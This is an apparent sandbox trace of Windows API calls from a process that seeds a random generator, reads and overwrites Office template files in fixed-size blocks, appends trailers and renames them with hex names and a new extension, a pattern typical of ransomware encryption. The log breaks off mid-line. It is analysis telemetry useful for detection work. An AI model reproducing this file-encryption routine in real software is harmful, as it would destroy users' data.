ReadFile (in: hFile=0xe80, lpBuffer=0x41dea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35a5fca0, lpOverlapped=0x0 | out: lpBuffer=0x41dea520*, lpNumberOfBytesRead=0x35a5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.013] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0148.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71f0 [0148.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a71f0) returned 1 [0148.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e578d0 [0148.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71f0 [0148.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0148.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6a70) returned 1 [0148.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.014] WriteFile (in: hFile=0xe80, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35a5fca0, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x35a5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0171.068] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x30a2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.068] ReadFile (in: hFile=0xe80, lpBuffer=0x41dea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35a5fca0, lpOverlapped=0x0 | out: lpBuffer=0x41dea520*, lpNumberOfBytesRead=0x35a5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.225] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x30a2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d310 [0171.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d310) returned 1 [0171.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41baa520 [0171.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d310 [0171.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d340 [0171.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d340) returned 1 [0171.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.228] WriteFile (in: hFile=0xe80, lpBuffer=0x41baa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35a5fca0, lpOverlapped=0x0 | out: lpBuffer=0x41baa520*, lpNumberOfBytesWritten=0x35a5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41baa520) returned 1 [0187.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce157d0 [0187.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d310) returned 1 [0187.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a71f0) returned 1 [0187.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a86e0) returned 1 [0187.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dea520) returned 1 [0187.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0187.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c010 [0187.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307980 [0187.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0187.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a86e0) returned 1 [0187.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd90 [0187.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0187.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc080 [0187.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc080) returned 1 [0187.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307980) returned 1 [0187.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c010) returned 1 [0187.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x164) returned 0x203fb480 [0187.492] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.492] WriteFile (in: hFile=0xe80, lpBuffer=0x203fb480*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x35a5fd50, lpOverlapped=0x0 | out: lpBuffer=0x203fb480*, lpNumberOfBytesWritten=0x35a5fd50*=0x164, lpOverlapped=0x0) returned 1 [0200.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867040 [0200.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a180 [0200.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a180) returned 1 [0200.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fd30 [0200.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a180 [0200.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859700 [0200.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859700) returned 1 [0200.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0200.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x1ce153e0 [0200.871] sprintf (in: _Dest=0x1ce153e0, _Format="%c%c" | out: _Dest="20") returned 2 [0200.871] sprintf (in: _Dest=0x1ce153e2, _Format="%c%c" | out: _Dest="fe") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153e4, _Format="%c%c" | out: _Dest="91") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153e6, _Format="%c%c" | out: _Dest="2b") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153e8, _Format="%c%c" | out: _Dest="b5") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153ea, _Format="%c%c" | out: _Dest="a7") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153ec, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153ee, _Format="%c%c" | out: _Dest="8f") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153f0, _Format="%c%c" | out: _Dest="a2") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153f2, _Format="%c%c" | out: _Dest="ff") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153f4, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153f6, _Format="%c%c" | out: _Dest="b5") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153f8, _Format="%c%c" | out: _Dest="1d") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153fa, _Format="%c%c" | out: _Dest="df") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153fc, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.872] sprintf (in: _Dest=0x1ce153fe, _Format="%c%c" | out: _Dest="98") returned 2 [0200.872] sprintf (in: _Dest=0x1ce15400, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.872] sprintf (in: _Dest=0x1ce15402, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.872] sprintf (in: _Dest=0x1ce15404, _Format="%c%c" | out: _Dest="74") returned 2 [0200.872] sprintf (in: _Dest=0x1ce15406, _Format="%c%c" | out: _Dest="ea") returned 2 [0200.872] sprintf (in: _Dest=0x1ce15408, _Format="%c%c" | out: _Dest="7e") returned 2 [0200.872] sprintf (in: _Dest=0x1ce1540a, _Format="%c%c" | out: _Dest="c9") returned 2 [0200.872] sprintf (in: _Dest=0x1ce1540c, _Format="%c%c" | out: _Dest="d4") returned 2 [0200.872] sprintf (in: _Dest=0x1ce1540e, _Format="%c%c" | out: _Dest="81") returned 2 [0200.872] sprintf (in: _Dest=0x1ce15410, _Format="%c%c" | out: _Dest="64") returned 2 [0200.872] sprintf (in: _Dest=0x1ce15412, _Format="%c%c" | out: _Dest="33") returned 2 [0200.872] sprintf (in: _Dest=0x1ce15414, _Format="%c%c" | out: _Dest="98") returned 2 [0200.872] sprintf (in: _Dest=0x1ce15416, _Format="%c%c" | out: _Dest="26") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15418, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.873] sprintf (in: _Dest=0x1ce1541a, _Format="%c%c" | out: _Dest="86") returned 2 [0200.873] sprintf (in: _Dest=0x1ce1541c, _Format="%c%c" | out: _Dest="e4") returned 2 [0200.873] sprintf (in: _Dest=0x1ce1541e, _Format="%c%c" | out: _Dest="81") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15420, _Format="%c%c" | out: _Dest="37") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15422, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15424, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15426, _Format="%c%c" | out: _Dest="53") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15428, _Format="%c%c" | out: _Dest="89") returned 2 [0200.873] sprintf (in: _Dest=0x1ce1542a, _Format="%c%c" | out: _Dest="d3") returned 2 [0200.873] sprintf (in: _Dest=0x1ce1542c, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.873] sprintf (in: _Dest=0x1ce1542e, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15430, _Format="%c%c" | out: _Dest="9b") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15432, _Format="%c%c" | out: _Dest="37") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15434, _Format="%c%c" | out: _Dest="03") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15436, _Format="%c%c" | out: _Dest="2b") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15438, _Format="%c%c" | out: _Dest="d3") returned 2 [0200.873] sprintf (in: _Dest=0x1ce1543a, _Format="%c%c" | out: _Dest="35") returned 2 [0200.873] sprintf (in: _Dest=0x1ce1543c, _Format="%c%c" | out: _Dest="2b") returned 2 [0200.873] sprintf (in: _Dest=0x1ce1543e, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15440, _Format="%c%c" | out: _Dest="17") returned 2 [0200.873] sprintf (in: _Dest=0x1ce15442, _Format="%c%c" | out: _Dest="81") returned 2 [0200.874] RtlInitAnsiString (in: DestinationString=0x35a5fdc8, SourceString="20fe912bb5a7e68fa2ff8bb51ddf5e98d6cf74ea7ec9d481643398269a86e48137cacb5389d34f6a9b37032bd3352bf41781" | out: DestinationString="20fe912bb5a7e68fa2ff8bb51ddf5e98d6cf74ea7ec9d481643398269a86e48137cacb5389d34f6a9b37032bd3352bf41781") [0200.874] RtlAnsiStringToUnicodeString (in: DestinationString=0x35a5fd98, SourceString="20fe912bb5a7e68fa2ff8bb51ddf5e98d6cf74ea7ec9d481643398269a86e48137cacb5389d34f6a9b37032bd3352bf41781", AllocateDestinationString=1 | out: DestinationString="20fe912bb5a7e68fa2ff8bb51ddf5e98d6cf74ea7ec9d481643398269a86e48137cacb5389d34f6a9b37032bd3352bf41781") returned 0x0 [0200.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced0d60 [0200.874] wcscat (in: _Dest=0x431eb900, _Source="20fe912bb5a7e68fa2ff8bb51" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\20fe912bb5a7e68fa2ff8bb51") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\20fe912bb5a7e68fa2ff8bb51" [0200.874] wcscat (in: _Dest=0x431eb900, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\20fe912bb5a7e68fa2ff8bb51.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\20fe912bb5a7e68fa2ff8bb51.2f9b60" [0200.874] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\20fe912bb5a7e68fa2ff8bb51.2f9b60", NtPathName=0x35a5fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\20fe912bb5a7e68fa2ff8bb51.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205ff90 Thread: id = 1136 os_tid = 0xff8 [0112.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx")) returned 0x20 [0112.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx", dwFileAttributes=0x20) returned 1 [0112.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c8 [0112.916] GetFileSizeEx (in: hFile=0x15c8, lpFileSize=0x35c4fe20 | out: lpFileSize=0x35c4fe20*=227449) returned 1 [0112.917] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x37875, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.917] ReadFile (in: hFile=0x15c8, lpBuffer=0x35c4fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35c4fde8, lpOverlapped=0x0 | out: lpBuffer=0x35c4fda0*, lpNumberOfBytesRead=0x35c4fde8*=0x4, lpOverlapped=0x0) returned 1 [0112.919] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bf0 [0112.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0112.919] NtQuerySystemTime (in: CurrentTime=0x35c4fce0 | out: CurrentTime=0x35c4fce0*=132462177183802000) returned 0x0 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x52731684 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x2ce28fa2 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x1d35824e [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x23610efd [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x3ec3e5fe [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x5bdc5652 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x75eace18 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x5abe9bb3 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x72d5af21 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x70b7b76c [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x91e6cf8 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0xbac8e02 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x5e79ac0 [0112.919] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x4d39e9ff [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x28380cd7 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x352f5290 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x76a78d7e [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x4c21fd9f [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x762521 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x70f7ae80 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0xfaad186 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x5ee3288c [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x59a883dc [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x34ab912c [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x6a0549f6 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x78011634 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x5a16a878 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x5dbaceb2 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0xe42f57d [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x47676ac7 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x18cefdf2 [0112.920] RtlRandomEx (in: Seed=0x35c4fcd0 | out: Seed=0x35c4fcd0) returned 0x89e6e49 [0112.931] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.932] ReadFile (in: hFile=0x15c8, lpBuffer=0x41de6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35c4fd40, lpOverlapped=0x0 | out: lpBuffer=0x41de6910*, lpNumberOfBytesRead=0x35c4fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0112.935] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0112.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c40) returned 1 [0112.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41df9560 [0112.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0112.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262240) returned 1 [0112.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0112.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.936] WriteFile (in: hFile=0x15c8, lpBuffer=0x41df9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35c4fd40, lpOverlapped=0x0 | out: lpBuffer=0x41df9560*, lpNumberOfBytesWritten=0x35c4fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0130.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df9560) returned 1 [0130.261] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.261] ReadFile (in: hFile=0x15c8, lpBuffer=0x41de6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35c4fd40, lpOverlapped=0x0 | out: lpBuffer=0x41de6910*, lpNumberOfBytesRead=0x35c4fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0130.262] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7140 [0130.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7140) returned 1 [0130.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41df9560 [0130.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7140 [0130.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0130.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7110) returned 1 [0130.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.264] WriteFile (hFile=0x15c8, lpBuffer=0x41df9560, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35c4fd40, lpOverlapped=0x0) [0171.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df9560) returned 1 [0171.071] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x33c79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.071] ReadFile (in: hFile=0x15c8, lpBuffer=0x41de6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35c4fd40, lpOverlapped=0x0 | out: lpBuffer=0x41de6910*, lpNumberOfBytesRead=0x35c4fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0171.231] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x33c79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d370 [0171.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d370) returned 1 [0171.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bb1d40 [0171.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d370 [0171.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d3a0 [0171.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d3a0) returned 1 [0171.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.234] WriteFile (in: hFile=0x15c8, lpBuffer=0x41bb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35c4fd40, lpOverlapped=0x0 | out: lpBuffer=0x41bb1d40*, lpNumberOfBytesWritten=0x35c4fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0194.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bb1d40) returned 1 [0194.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf440 [0194.651] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.651] WriteFile (in: hFile=0x15c8, lpBuffer=0x42c0fdb0*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x35c4fdf0, lpOverlapped=0x0 | out: lpBuffer=0x42c0fdb0*, lpNumberOfBytesWritten=0x35c4fdf0*=0x15c, lpOverlapped=0x0) returned 1 [0202.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c3d0 [0202.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0202.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612e0 [0202.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202612e0) returned 1 [0202.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5dcf0 [0202.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612e0 [0202.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c50 [0202.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c50) returned 1 [0202.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0202.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c3d0) returned 1 [0202.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b7cea00 [0202.030] sprintf (in: _Dest=0x1b7cea00, _Format="%c%c" | out: _Dest="83") returned 2 [0202.030] sprintf (in: _Dest=0x1b7cea02, _Format="%c%c" | out: _Dest="6e") returned 2 [0202.030] sprintf (in: _Dest=0x1b7cea04, _Format="%c%c" | out: _Dest="40") returned 2 [0202.030] sprintf (in: _Dest=0x1b7cea06, _Format="%c%c" | out: _Dest="84") returned 2 [0202.030] sprintf (in: _Dest=0x1b7cea08, _Format="%c%c" | 